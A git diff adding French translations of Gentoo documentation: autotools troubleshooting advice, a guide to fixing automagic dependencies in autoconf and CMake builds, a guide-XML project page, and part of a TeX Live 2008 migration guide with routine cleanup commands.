+Parfois lors du lancement d'<c>eautoreconf</c>, celui-ci échoue en signalant une
+erreur de conflit de version. Vous vous seriez attendu à ne jamais voir cela,
+puisque la fonction <c>eautomake</c> s'occupera de relancer tous les autotools
+si la version d'<c>automake</c> utilisée pour compiler le paquet diffère de
+celle utilisée par l'ebuild&nbsp;; de plus, pendant l'<c>eautoreconf</c>, les
+outils sont lancés de façon à écraser de force les fichiers, afin de faire
+disparaître les références à l'<c>automake</c> utilisé à l'origine.
+</p>
+
+<p>
+La seule (ou plutôt au moins une) cause de ceci est une mauvaise connaissance
+des autotools par le développeur de l'ebuild. Quand il est confronté au problème
+décrit plus haut des <e>macros potentiellement non définies</e>, il peut se
+sentir contraint de simplement copier le fichier <path>aclocal.m4</path>
+précédent de l'archive tar originale sous un autre nom, pour en préserver les
+définitions de macro. Malheureusement ceci écrase les macros d'<c>automake</c>,
+causant cette échec presque incompréhensible.
+</p>
+
+<warn>
+Vous ne devez <b>jamais</b> copier l'ancien fichier <path>aclocal.m4</path>,
+puisque ça ne fonctionnera pas avec les versions mineures d'<c>automake</c>, et
+que cela peut même créer des problèmes lorsqu'<c>automake</c> est corrigé dans
+Gentoo pour réparer un bogue dans ces macros.
+</warn>
+
+</body>
+</section>
+
+<section> <!-- Makefile.am requires missing files -->
+<title>Automake échoue, requiert des fichiers manquants</title>
+<body>
+
+<p>
+Une autre erreur commune, cette fois avec <c>automake</c>, est un échec causé
+par l'absence de fichiers tels que <path>NEWS</path> ou <path>README</path>. En
+effet, les autotools supposent, si personne ne leur précise le contraire, qu'ils
+travaillent sur un paquet GNU, dont le style de code impose la présence une
+série de fichiers, et échouent ainsi quand ces fichiers manquent. Dans ces cas,
+<c>automake</c> doit être appelé avec le paramètre <c>--foreign</c>, qui lui dit
+de ne pas échouer si les fichiers requis par GNU ne sont pas présents.
+</p>
+
+<p>
+Encore une fois, la fonction <c>eautomake</c> tente de rendre plus simple la
+reconstruction des autotools en vérifiant que tous les fichiers requis par GNU
+soient présents et en appelant ensuite <c>automake</c> avec la bonne option si
+ce n'est pas le cas. La bonne façon de résoudre ce problème (à envoyer aux
+développeurs du logiciel) est d'ajouter à la variable <b>AUTOMAKE_OPTIONS</b>
+l'option <e>foreign</e> pour qu'il sache tout seul qu'il doit utiliser le
+support «&nbsp;foreign&nbsp;».
+</p>
+
+<p>
+Quand les fichiers sont requis par le <path>configure.in</path> ou
+<path>configure.ac</path> au lieu du <path>Makefile.am</path>, ce sont souvent
+les fichiers <path>config.guess</path> et <path>config.sub</path>, le problème
+est que le bootstrap du paquet n'est pas correct. Pour le résoudre,
+<c>automake</c> doit être appelé avec les options <c>--add-missing --copy</c>.
+C'est ce que la fonction <c>eautomake</c> fait déjà, ainsi si vous rencontrez ce
+problème vous devriez penser à utiliser les fonctions fournies par l'eclass
+<path>autotools</path> au lieu d'appeler les outils manuellement ou avec
+d'éventuels scripts fournis dans le paquet.
+</p>
+
+<warn>
+Une erreur couramment faite lorsque <c>automake</c> échoue est de ne pas mettre
+la condition <c>|| die</c>, ce qui empêche ainsi d'interrompre le processus de
+compilation. C'est une erreur parce que les fichiers seront souvent nécessaires
+plus tard, il est préférable de toujours forcer leur remplacement, aussi parce
+que dans de nombreux cas les nouvelles versions des deux fichiers sont
+nécessaires pour compiler sur certaines architectures.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Version des dépendances manquantes</title>
+<body>
+
+<p>
+Depuis l'été 2006, l'eclass <c>autotools</c> ne dépend plus de toutes les
+versions des paquets <c>automake</c> et <c>autoconf</c> automatiquement, ce qui
+signifie que vous ne pouvez pas supposer que les utilisateurs ont installé
+toutes les versions et les dépendances doivent être corrigées pour avoir les
+bonnes versions installées. Pour simplifier la gestion des dépendances et forcer
+les versions nécessaires, les variables <b>WANT_AUTOCONF</b> et
+<b>WANT_AUTOMAKE</b> sont prises en compte par l'eclass autotools qui se
+chargera de rajouter les bonnes dépendances.
+</p>
+
+<pre caption="Dépendre d'autoconf 2.1 et automake 1.4"> 
+WANT_AUTOCONF="2.1"
+WANT_AUTOMAKE="1.4"
+
+inherit autotools
+</pre>
+
+<p>
+Dans de nombreux cas, au lieu de dépendre d'une version spécifique d'automake ou
+autoconf, on veut dépendre de la dernière version disponible, probablement déjà
+présente sur le système des utilisateurs. Pour cette raison, l'eclass autotools
+accepte une valeur spéciale pour les variables mentionnées, <e>latest</e>, qui
+sera remplacée pour <c>autoconf</c> par 2.5 et pour <c>automake</c> soit 1.9
+soit 1.10 selon ce qui est démasqué pour le système donné. Ceci est suggéré
+quand le paquet ne dépend pas de quelques options ou mauvais comportement de
+plus vieilles versions.
+</p>
+
+<pre caption="Dépendre de la version la plus récente des autotools">
+WANT_AUTOCONF="latest"
+WANT_AUTOMAKE="latest"
+
+inherit autotools
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/qa/automagic.xml b/xml/htdocs/proj/fr/qa/automagic.xml
new file mode 100644
index 00000000..65411304
--- /dev/null
+++ b/xml/htdocs/proj/fr/qa/automagic.xml
@@ -0,0 +1,293 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/qa/automagic.xml,v 1.2 2008/12/09 16:18:15 titefleur Exp $ -->
+
+<guide link="/proj/fr/qa/automagic.xml" lang="fr">
+<title>Les dépendances automagiques, ce qu'elles sont et comment les
+corriger</title>
+
+<author title="Auteur">
+  <mail link="flameeyes@gentoo.org">Diego Pettenò</mail>
+</author>
+<author title="Auteur">
+  <mail link="serkan@gentoo.org">Serkan Kaba</mail>
+</author>
+<author title="Traducteur">
+  <mail link="nicolas@litchinko.fr">Nicolas Litchinko</mail>
+</author>
+
+<abstract>
+Ce guide a pour objectif de décrire le problème des «&nbsp;dépendances
+automagiques&nbsp;», la raison pour laquelle elles posent problème et comment
+les gérer dans les cas les plus courants.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.2</version>
+<date>2008-11-07</date>
+
+<chapter> <!-- Introduction -->
+<title>Introduction</title>
+<section>
+<title>Qu'est-ce que les dépendances automagiques&nbsp;?</title>
+<body>
+
+<p>
+Les fameuses <e>dépendances automagiques</e> sont des dépendances légères d'un
+logiciel qui ne sont reconnues qu'au moment de la compilation ou de l'exécution
+et qui influent sur le fonctionnement du logiciel. Le nom <e>automagique</e>
+est un jeu de mot en référence aux GNU autotools qui produisent le plus souvent
+des <e>dépendances automagiques</e>.
+</p>
+
+<p>
+Les logiciels ont en général deux catégories de dépendances&nbsp;: les
+dépendances indispensables et les dépendances optionnelles. La première
+catégorie de dépendance est requise pour l'utilisation du logiciel (cela peut
+être une bibliothèque ou une application) et elles ne peuvent manquer à l'appel
+lors de la compilation ou l'exécution du logiciel (selon leur type&nbsp;::
+dépendances de compilation ou d'exécution). Les dépendances optionnelles sont
+celles qui peuvent être désactivées, en général lors de la compilation (mais
+parfois aussi lors de l'exécution).
+</p>
+
+<p>
+Il revient souvent à l'utilisateur (ou à celui qui compile le logiciel)
+d'activer ou désactiver les dépendances optionnelles. L'exemple classique de ce
+cas sont les options <c>--enable-foo</c> ou <c>--with-bar</c> du script
+<c>./configure</c> (ces paramètres sont utilisés pour activer des dépendances
+qui sont désactivées par défaut, mais il y a également des cas pour lesquelles
+les dépendances sont activées par défaut et il faut donc utiliser
+<c>--disable-foo</c> ou <c>--without-bar</c>).
+</p>
+
+<p>
+Cependant, avec des systèmes de compilation qui essaient de comprendre ce qui
+est présent sur le système qui sert à la compilation, il arrive que des
+dépendances deviennent <e>automagiques</e>. Cela signifie que le système de
+compilation ne demande pas à l'utilisateur s'il souhaite activer une option et
+donc ajouter une dépendance, mais que la dépendance est activée si elle est
+détectée. Ce comportement est mauvais.
+</p>
+
+</body>
+</section>
+<section> <!-- Why automagic dependencies are wrong -->
+<title>Pourquoi les dépendances automagiques sont mauvaises</title>
+<body>
+
+<p>
+Dans le cas de distributions basées sur des binaires, comme celles basées sur
+RPM ou DEB, les dépendances automagiques ne changent rien&nbsp;: si
+l'utilisateur a quelque chose d'installé et qu'il compile à la main, c'est
+souvent qu'il veut activer l'option et, s'il s'agit du mainteneur, il n'aura
+qu'à ajouter une dépendance sur les paquets requis pour exécuter les binaires
+qu'il a créés.
+</p>
+
+<p>
+Cela est différent pour les distributions basées sur les sources comme Gentoo
+Linux (et dérivés). Comme les distributions basées sur les sources ne séparent
+pas les paquets pour l'utilisateur des paquets de développement, les systèmes
+de construction peuvent trouver plus que ce que l'utilisateur voudrait et vont
+essayer de se lier avec tout ce qu'ils connaissent. C'est la principale cause
+de cassure des liaisons après un depclean (N.d.T.&nbsp;: nettoyage des
+dépendances non utilisées).
+</p>
+
+<p>
+Pour simplifier, lorsqu'une dépendance automagique n'est pas indiquée comme
+indispensable dans un ebuild, mais qu'au lieu de cela il existe un mécanisme
+qui ajoute ou supprime la dépendance d'un paquet donné, si le paquet est
+présent dans le système compilant le logiciel avec des dépendances automagiques
+et est ensuite supprimé, le logiciel cessera de fonctionner, nécessitant alors
+une exécution de <c>revdep-rebuild</c> pour corriger la liaison. Il est
+également possible qu'un utilisateur souhaite réellement désactiver une
+dépendance parce qu'il sait qu'elle n'est pas stable ou parce qu'il crée un
+paquet binaire pour une autre machine sur laquelle la dépendance n'est
+peut-être pas installée (ou ne fonctionne même peut-être pas du tout).
+</p>
+
+<p>
+Lorsqu'un paquet a des dépendances automagiques, il n'y a que deux
+solutions&nbsp;: la première est de déclarer la dépendance comme étant
+indispensable, sans considérer les choix faits par l'utilisateur dans la
+variable USE, mais cela peut signifier que le support de certaines
+fonctionnalités que certains utilisateurs ne souhaitent pas activer sera
+toujours présent et les dépendances seront toujours installées&nbsp;; l'autre
+solution est de corriger le système de compilation pour qu'il soit capable de
+désactiver la dépendance lors de la compilation même si elle est présente sur
+le système.
+</p>
+
+<p>
+La plupart du temps, les développeurs upstream (N.d.T.&nbsp;: les développeurs
+du logiciel) ne pensent pas vraiment à ajouter la possibilité de désactiver les
+dépendances automagiques puisqu'ils ne le ressentent pas comme un véritable
+problème&nbsp;: ils les ont toutes d'installées, ou au moins celles dont ils
+ont besoin, et ils compilent en général avec toutes les options d'activées.
+Heureusement, la plupart des développeurs upstream acceptent d'ajouter des
+options pour désactiver ces dépendances si des correctifs sont fournis (parfois
+également sans correctif, mais bien évidemment la demande sera mieux reçue si
+des correctifs sont déjà prêts). Ce n'est toutefois pas toujours le cas. Par
+exemple, les développeurs de Wine ne veulent pas ajouter la possibilité
+d'activer ou de désactiver des fonctionnalités lors de l'appel à
+<c>./configure</c> car ils désirent que leur logiciel utilise toujours le plus
+d'options possible.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter> <!-- Fixing automagic dependencies -->
+<title>Corriger les dépendances automagiques</title>
+<section> <!-- Autotools -->
+<title>Autotools</title>
+<body>
+
+<p>
+La majorité des dépendances automagiques, comme leur nom l'indique, sont dues à
+un (mauvais) usage des GNU autotools (<c>autoconf</c> pour être exact). Il y a
+deux cas principaux dans lesquels des dépendances automagiques
+apparaissent&nbsp;: le premier est le cas des «&nbsp;développeurs
+paresseux&nbsp;», dans lequel les dépendances n'ont pas du tout de paramètre
+pour <c>./configure</c> et sont seulement vérifiées à l'aide de
+<b>AC_CHECK_LIB</b> ou la macro <b>PKG_CHECK_MODULE</b> de <c>pkg-config</c>,
+qui permettent l'exécution de code spécifique lorsqu'une bibliothèque ou un
+paquet sont présents ou non&nbsp;; l'autre cas est celui du «&nbsp;paramètre
+malicieux&nbsp;» dans lequel les paramètres <c>--disable-foo</c> ou
+<c>--without-bar</c> sont acceptés par <c>./configure</c> mais ne sont pas
+correctement interprétés.
+</p>
+
+<p>
+Le premier cas est facile à corriger, il n'y a qu'à ajouter un appel à
+<b>AC_ARG_WITH</b> (ou <b>AC_ARG_ENABLE</b>) et ensuite vérifier la valeur de
+la variable correspondante avant de faire le test. Il est utile de savoir que
+le premier paramètre passé à cette macro crée une variable qui est chargée par
+<c>autoconf</c> sans avoir à ajouter les autres paramètres qui déterminent
+l'action à effectuer lorsque le paramètre est présent et lorsqu'il ne l'est
+pas. Cette variable est appelée <path>$enable_foo</path> ou
+<path>$with_bar</path> en fonction de la macro utilisée.
+</p>
+
+<note>
+Pour que les correctifs soient acceptés par les développeurs upstream, il est
+en général suggéré de ne pas changer le comportement de <c>./configure</c>
+lorsqu'il est appelé sans paramètre&nbsp;; c'est pourquoi nous allons vous
+présenter deux méthodes pour rendre les dépendances non-automagiques, une pour
+les dépendances activées par défaut et une autre pour les dépendances
+désactivées par défaut.
+</note>
+
+<pre caption="Ajouter une dépendance optionnelle activée par défaut">
+<i>AC_ARG_WITH([foo], AS_HELP_STRING([--without-foo], [Build without foo library (default: test)]))</i>
+
+<i>if test "x$with_foo" != "xno"; then</i>
+  PKG_CHECK_MODULES([FOO], [foo >= 0.1])
+<i>fi</i>
+</pre>
+
+<pre caption="Ajouter une dépendance optionnelle désactivée par défaut">
+<i>AC_ARG_WITH([foo], AS_HELP_STRING([--with-foo], [Build with foo library (default: disabled)]))</i>
+
+<i>if test "x$with_foo" == "xyes"; then</i>
+  PKG_CHECK_MODULES([FOO], [foo >= 0.1])
+<i>fi</i>
+</pre>
+
+<p>
+Lorsque le paramètre est présent mais n'est pas honoré, corriger le problème de
+dépendance peut aussi bien être simple que complexe. Il peut s'agir d'un test
+qui n'est pas correctement écrit, et dans ce cas il faut le modifier en quelque
+chose qui ressemble aux tests présentés précédemment, ou il peut s'agir d'un
+mélange complet des appels aux macros <b>AC_ARG_WITH</b>. Dans ces cas, il vaut
+mieux vérifier le code avec précaution et contacter les développeurs upstream
+s'il s'agit d'une erreur complexe.
+</p>
+
+<warn>
+Souvent (presque tout le temps lorsque le paquet utilise automake), les
+dépendances automagiques sont associées à des appels à <b>AM_CONDITIONAL</b>.
+Il est très important que ces appels soient placés <e>hors</e> des blocs if/fi,
+ou alors les appels à <c>./configure</c> vont exploser.
+</warn>
+
+<p>
+Il y a en réalité une autre méthode, sans correction, pour contourner le
+problème des dépendances automagiques générées par <b>AC_CHECK_LIB</b> et c'est
+en jouant avec les valeurs mises en cache par <c>autoconf</c>. Cette méthode
+est en fait dépréciée parce qu'elle ne règle pas la cause du problème et peut
+en créer d'autres si les développeurs upstream modifient légèrement les tests
+en utilisant un autre nom pour la variable mise en cache. De plus, de cette
+façon, les correctifs ne peuvent être envoyés aux développeurs upstream pour
+être intégrés dans les prochaines versions.
+</p>
+
+</body>
+</section>
+
+<section><!-- CMake -->
+<title>CMake</title>
+<body>
+
+<p>
+Les dépendances automagiques peuvent poser problème avec les systèmes basés sur
+CMake où <b>PKG_CHECK_MODULES</b> est appelé sans le paramètre <b>REQUIRED</b>
+de façon inconditionnelle. Corriger cela est assez facile puisqu'il s'agit
+simplement d'introduire une option afin de compiler le système et d'exécuter
+<b>PKG_CHECK_MODULES</b>, en fonction de sa valeur.
+</p>
+
+<pre caption="Ajout de l'option ENABLE_FOO pour éviter les dépendances automagiques">
+<i>OPTION(ENABLE_FOO "Enable foo library" ON)</i>
+...
+<i>IF (ENABLE_FOO)</i>
+  PKG_CHECK_MODULES (FOO foo>=0.1)
+<i>ENDIF (ENABLE_FOO)</i>
+...
+<i>IF (ENABLE_FOO)</i>
+  IF (FOO_FOUND)
+  ...
+  ELSE (FOO_FOUND)
+  ...
+  ENDIF (FOO_FOUND)
+<i>ENDIF (ENABLE_FOO)</i>
+</pre>
+
+<note>
+Définissez la valeur par défaut dans OPTION selon le comportement.
+</note>
+
+</body>
+</section>
+
+<section> <!-- Other build systems -->
+<title>Les autres systèmes de compilation</title>
+<body>
+
+<impo>
+Veuillez contribuer à ce guide ;) Des notes à propos d'autres systèmes de
+construction non-personnalisés comme <c>scons</c> sont les bienvenues. Si le
+système de construction peut définir des dépendances automagiques, il devrait
+également y avoir un moyen de les corriger.
+</impo>
+
+<p>
+Les dépendances automagiques peuvent également être créées par des systèmes de
+construction utilisés par certains logiciels. Malheureusement, du fait de leur
+personnalisation, ces systèmes de construction sont en général difficiles à
+optimiser et il n'est pas possible de définir une méthode d'approche générale
+pour les corriger.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/fr/site.xml b/xml/htdocs/proj/fr/site.xml
new file mode 100644
index 00000000..467a9a2c
--- /dev/null
+++ b/xml/htdocs/proj/fr/site.xml
@@ -0,0 +1,83 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/site.xml,v 1.6 2005/10/12 07:45:09 neysx Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide type="project" link="/proj/fr/site.xml">
+<title>Page des projets XML</title>
+
+<author title="Auteur">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Traducteur">
+  <mail link="mat@frheaven.com">Matthieu Montaudouin</mail>
+</author>
+
+<abstract>
+Cette page contient des informations sur le projet de «&nbsp;guide&nbsp;» XML 
+utilisé pour la documentation Gentoo Linux et le site Web.
+</abstract>
+
+<version>1.3</version>
+<date>2005-10-10</date>
+
+<chapter>
+<title>Guide XML</title>
+
+<section>
+<body>
+
+<p>
+L'équipe Gentoo Linux utilise un format XML spécial appelé <c>guide XML</c>
+pour toute sa documentation et ses pages Web.  Si vous voulez en apprendre plus
+sur ce format, vous pouvez lire la série d'articles <e>A site reborn</e> qui
+furent publiés sur <uri link="http://www.ibm.com/developerworks">IBM
+developerWorks</uri>, tous écrits par Daniel Robbins&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Dans la <uri link="/doc/en/articles/l-redesign-1.xml">première
+    partie</uri>, Daniel crée un plan d'action centré sur l'utilisateur et
+    présente <c>pytext</c>, un interpréteur intégré à Python.
+  </li>
+  <li>
+    Dans la <uri link="/doc/en/articles/l-redesign-2.xml">deuxième
+    partie</uri>, Daniel présente <c>guide XML</c>, le nouveau système de
+    documentation et met au point une liste de diffusion quotidienne du journal
+    CVS.
+  </li>
+  <li>
+    Dans la <uri link="/doc/en/articles/l-redesign-3.xml">troisième
+    partie</uri>, Daniel conçoit la nouvelle présentation du site dans sa
+    globalité.
+    </li>
+  <li>
+    Dans la <uri link="/doc/en/articles/l-redesign-4.xml">quatrième
+    partie</uri>, Daniel termine la conversion vers XML/XSLT, résoud une
+    pléthore de problèmes de compatibilité avec les navigateurs Netscape 4.x,
+    et ajoute un «&nbsp;ChangeLog&nbsp;» XML généré automatiquement sur le
+    site.
+  </li>
+</ul>
+
+<p>
+Nous avons aussi un <uri link="/doc/fr/xml-guide.xml">guide de la Documentation
+Gentoo Linux</uri> qui explique comment utiliser le format <c>guide XML</c>. 
+<!--
+Vous pouvez télécharger la dernière version de tous nos outils <c>guide XML</c>
+en récupérant ce fichier qui contient un instantané du CVS avec tous les
+fichiers utilisés pour créer le site Web: <uri
+link="/dyn/arch/xml-guide-latest.tar.gz">xml-guide-latest.tar.gz</uri>.  Ce
+tarball est automatiquement recréé à chaque fois que le site Web de Gentoo
+Linux est mis à jour, il sera donc toujours d'actualité.  Les instructions pour
+savoir comment utiliser les fichiers inclus se trouvent dans le <uri
+link="/doc/fr/xml-guide.xml">guide de la Documentation Gentoo Linux</uri> (pour
+votre information, ce tarball contient un instantané du répertoire
+<path>gentoo-web</path> de notre module CVS <path>gentoo-src</path>.)
+-->
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/tex/texlive-migration-guide.xml b/xml/htdocs/proj/fr/tex/texlive-migration-guide.xml
new file mode 100644
index 00000000..779eb438
--- /dev/null
+++ b/xml/htdocs/proj/fr/tex/texlive-migration-guide.xml
@@ -0,0 +1,589 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header $ -->
+
+<guide link="/proj/fr/tex/texlive-migration-guide.xml">
+<title>Guide de TeX Live 2008</title>
+
+<author title="Auteur">
+  <mail link="aballier@gentoo.org">Alexis Ballier</mail>
+</author>
+<author title="Traducteur">
+  <mail link="titefleur"/>
+</author>
+
+<abstract>
+Ce guide pour but de vous montrer comment insaller TeX Live 2008 sur Gentoo et
+plus particulièrement ce à quoi vous devez faire attention si vous avez déjà
+une distribution TeX installée (comme tetex ou encore TeX Live 2005).
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2009-04-15</date>
+
+<chapter id="uninstall">
+<title>Désinstaller proprement</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Dans cette section, nous supposerons que vous avez déjà
+<c>>=app-text/tetex-3</c> installé sur votre machine. Cela s'applique également
+si vous avez installé <c>app-text/texlive-2005</c>. Dans un monde parfait, la
+désinstallation avec emerge suffirait, mais malheureusement ce n'est pas le
+cas.
+</p>
+
+</body>
+</section>
+<section>
+<title>Sauvegarder votre ancienne configuration</title>
+<body>
+
+<p>
+Si vous avez modifié votre configuration de <c>tetex</c> en éditant les
+fichiers de <path>/etc/texmf</path>, vous devriez d'abord les
+sauvegarder&nbsp;:
+</p>
+
+<pre caption="Sauvegarde de vos anciens fichiers de configuration">
+$ <i>cp -rf /etc/texmf ~/tetex-texmf</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Enlever tetex</title>
+<body>
+
+<p>
+À présent, vous pouvez désinstallater <c>tetex</c> sereinement&nbsp;:
+</p>
+
+<pre caption="Désinstaller tetex">
+# <i>emerge -C tetex</i>
+</pre>
+
+<p>
+Des erreurs étranges ont été rapportées lorsque des fichiers de configuration
+sont conservés dans <path>/etc/texmf</path>. Pour plus de sécurité et pour
+assurer une installation propre de <c>TeX Live</c>, il est recommandé d'enlever
+le fichier <path>/etc/texmf/texmf.d/00texmf.cnf</path>&nbsp;:
+</p>
+
+<pre caption="Nettoyage de /etc/texmf">
+# <i>rm /etc/texmf/texmf.d/00texmf.cnf</i>
+</pre>
+
+<note>
+Vous n'avez rien perdu puisque vous avez sauvegardé vos anciens fichiers de
+configuration.
+</note>
+
+<p>
+Puisque <c>tetex</c> utilise <c>texlinks</c> en dehors du champ d'action du
+gestionnaire de paquets, le fait de le désinstaller simplement va laisser des
+liens symboliques&nbsp;:
+</p>
+
+<pre caption="Lien symbolique restant de tetex">
+$ <i>ls -l /usr/bin/pdftex</i>
+lrwxrwxrwx 1 root root 7 2007-07-09 07:34 /usr/bin/pdftex -> pdfetex
+</pre>
+
+<p>
+Bien sûr, pdfetex a été enlevé avec la suppression de <c>tetex</c>, donc le
+lien symbolique est mort et peut être retiré sans problème. La commande
+<c>find</c> (avec son extension GNU) peut nous aider à trouver et à enlever les
+liens symboliques qui sont morts de façon interactive&nbsp;:
+</p>
+
+<pre caption="Éliminer les liens symboliques morts de façon interactive">
+# <i>find /usr/bin -type l ! -xtype f ! -xtype d -ok rm -f {} \;</i>
+
+&lt; rm ... /usr/bin/pdflatex &gt; ? y
+&lt; rm ... /usr/bin/amstex &gt; ? y
+&lt; rm ... /usr/bin/pdftex &gt; ? y
+&lt; rm ... /usr/bin/eplain &gt; ? y
+&lt; rm ... /usr/bin/jadetex &gt; ? y
+&lt; rm ... /usr/bin/lambda &gt; ? y
+&lt; rm ... /usr/bin/pdfamstex &gt; ? y
+&lt; rm ... /usr/bin/elatex &gt; ? y
+&lt; rm ... /usr/bin/lamed &gt; ? y
+&lt; rm ... /usr/bin/pdfjadetex &gt; ? y
+&lt; rm ... /usr/bin/latex &gt; ? y
+</pre>
+
+<p>
+Ce sont les fichiers laissés par l'installation de <c>tetex</c> de l'auteur.
+</p>
+
+<p>
+<c>tetex</c> utilisait également <c>fmtutil</c> en-dehors du champ d'action du
+gestionnaire de paquets pour générer les formats de fichiers. Avec <c>TeX Live
+2008</c>, nous compilons maintenant la plupart des formats de fichiers en
+compilant les paquets&nbsp;; ces formats de fichiers seront installés dans
+<path>/var/lib/texmf</path>. Cela signifie que vous devez vous assurer qu'il
+n'y reste plus de formats de fichiers égarés&nbsp;:
+</p>
+
+<pre caption="Suppression des formats de fichiers égarés">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installation de TeX Live 2008</title>
+<section>
+<body>
+
+<p>
+Si vous avez passé en revue toutes les étapes ci-dessus, l'installation de
+<c>TeX Live 2008</c> devrait maintenant se faire très facilement.
+</p>
+
+<pre caption="Installation de TeX Live 2008">
+# <i>emerge texlive</i>
+</pre>
+
+<p>
+En théorie, ceci devrait fonctionner sans problème et installer tout ce qu'il
+faut. Vous pouvez paramètrer les variables USE de <c>app-text/texlive</c> pour
+installer des paquets supplémentaires de TeX, mais vous pourrez le faire plus
+tard&nbsp;; <c>app-text/texlive</c> n'est qu'un ebuild meta qui va chercher les
+vrais paquets dépendant de ses variables USE.
+</p>
+
+<p>
+Néanmoins, il est possible d'avoir des problèmes de dépendances, des erreurs à
+l'installation d'un paquet, etc. Dans ce cas, il est vous conseillé de remplir
+un rapport de bogue sur <uri>https://bugs.gentoo.org</uri>. Dans ce cas, merci
+d'inclure au moins la sortie de <c>texconfig conf</c> (exécuté avec le même
+utilisateur pour lequel l'installation ne fonctionne pas, parce que certaines
+variables d'environnement peuvent être importantes) en plus de l'erreur, cette
+sortie sera le plus souvent demandée.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuration</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+Comme c'était le cas pour <c>tetex-3</c>, <c>TeX Live</c> sur <c>Gentoo</c>
+possède trois fichiers principaux de configuration séparés et maintenus par
+<c>texmf-update</c>. Ces fichiers sont, respectivement, <path>texmf.cnf</path>,
+<path>fmtutil.cnf</path> et <path>updmap.cfg</path>. Ils se situent dans le
+répertoire <path>/etc/texmf/web2c</path>&nbsp;; vous ne devriez pas les
+modifier directement puisque les changements seront perdus lors de la prochaine
+exécution de <c>texmf-update</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title> texmf.cnf </title>
+<body>
+
+<p>
+Le fichier <path>texmf.cnf</path> est le fichier de configuration principal de
+l'installation de TeX. Il contient les définitions de variables qui seront
+utilisées par beaucoup de programmes.
+</p>
+
+<p>
+Le fichier <path>texmf.cnf</path> est le résultat de la concaténation des
+fichiers de <path>/etc/texmf/texmf.d</path>. Pour modifier votre environnement
+de configuration de TeX, vous devriez modifier les fichiers ici. À l'heure de
+l'écriture de ce guide, l'ebuild de <c>Gentoo TeX Live</c> installe six fichiers
+à cet endroit&nbsp;:
+</p>
+
+<pre caption="Fichiers installés dans texmf.d">
+00header.cnf
+05searchpaths.cnf
+10standardpaths.cnf
+15options.cnf
+20sizes.cnf
+25misc.cnf
+</pre>
+
+<p>
+Ceci est le résultat de la séparation dans leurs sections respectives du
+fichier (légèrement) modifié <path>textmf.cnf</path> du DVD <c>TeX Live
+2008</c>.
+</p>
+
+<p>
+Les fichiers <path>00header.cnf</path>, <path>05searchpaths.cnf</path>,
+<path>10standardpaths.cnf</path> et <path>25misc.cnf</path> ne devraient pas
+être modifiés. Si vous pensez qu'ils pourraient être améliorés, merci de
+remplir un rapport de bogue.
+</p>
+
+<warn>
+Les ebuilds de <c>TeX Live</c> ne sont pas informés des changements
+d'emplacement de ces fichiers, ainsi si vous souhaitez changer les chemins,
+assurez-vous de savoir ce que vous faites.
+</warn>
+
+<p>
+Les fichiers <path>15options.cnf</path> et <path>20sizes.cnf</path> peuvent
+être modifiés avec précaution. Les commentaires présents dans ces fichiers
+devraient suffire à expliquer ce que signifient les options. Par exemple, dans
+le fichier <path>20sizes.cnf</path> vous pouvez augmenter la mémoire de TeX, au
+cas où vous essayeriez de compiler un document trop gros qui retournerait des
+erreurs telles que <c>TeX capacity exceeded, sorry</c>.
+</p>
+
+<p>
+Si vous voulez ajouter des choses au fichier <path>texmf.cnf</path>, vous
+pouvez également créer un nouveau fichier dans <path>/etc/texmf/texmf.d</path>,
+appelé par exemple <path>99mesajouts.cnf</path>. Attention à ne pas lui donner
+une plus haute priorité que pour les fichiers de configuration principaux et
+donc de le faire commencer par un nombre à deux chiffres plus grand que
+<c>25</c>.
+</p>
+
+<p>
+Les paquets qui ont besoin d'ajouter quelque chose dans le fichier
+<path>texmf.cnf</path> fonctionnent de cette façon, ils installeront plutôt un
+fichier dans <path>texmf.d</path>&nbsp;:
+</p>
+
+<pre caption="Exemple de code pour l'installation d'un fichier dans texmf.d">
+<keyword>insinto</keyword> <const>/etc/texmf/texmf.d</const>
+<keyword>doins</keyword> <const>40mytexmfadditions.cnf</const>
+</pre>
+
+</body>
+</section>
+<section>
+<title>updmap.cfg</title>
+<body>
+
+<p>
+Le fichier <path>updmap.cfg</path> constitue le fichier de configuration
+utilisé par <c>updmap</c> (et <c>updmap-sys</c>), à moins qu'un autre soit
+spécifié. Il lui fournit les schémas de polices de caractères à mettre à jour
+pour les différents pilotes de sortie TeX.
+</p>
+
+<p>
+Le fichier <path>updmap.cfg</path> situé dans <path>/etc/texmf/web2c</path> est
+le résultat de la concaténation des fichiers de
+<path>/etc/texmf/updmap.d</path>. Le fichier original <path>00updmap.cfg</path>
+installé par <c>app-text/texlive-core</c> est le résultat de la commande
+<c>updmap --syncwithtrees</c> sur l'abre <c>texmf</c> installé (en fait, il
+imite juste ce que <c>updmap --syncwithtrees</c> ferait, mais c'est seulement
